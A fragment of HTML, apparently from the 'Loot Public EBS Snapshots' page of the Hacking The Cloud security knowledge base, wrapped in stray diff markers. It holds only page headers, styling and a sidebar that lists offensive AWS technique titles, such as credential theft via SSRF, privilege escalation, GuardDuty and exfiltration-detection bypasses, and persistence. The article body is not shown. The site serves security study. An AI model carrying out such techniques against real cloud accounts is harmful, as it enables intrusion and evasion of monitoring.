content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Loot Public EBS Snapshots - Hacking The Cloud"><meta property=twitter:description content="How to find and take advantage of exposed EBS snapshots."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#making-them-public class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Loot Public EBS Snapshots </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#making-them-public class=md-nav__link> <span class=md-ellipsis> Making them Public </span> </a> </li> <li class=md-nav__item> <a href=#finding-exposed-snapshots class=md-nav__link> <span class=md-ellipsis> Finding Exposed Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> <li class=md-nav__item> <a href=#detection class=md-nav__link> <span class=md-ellipsis> Detection </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span 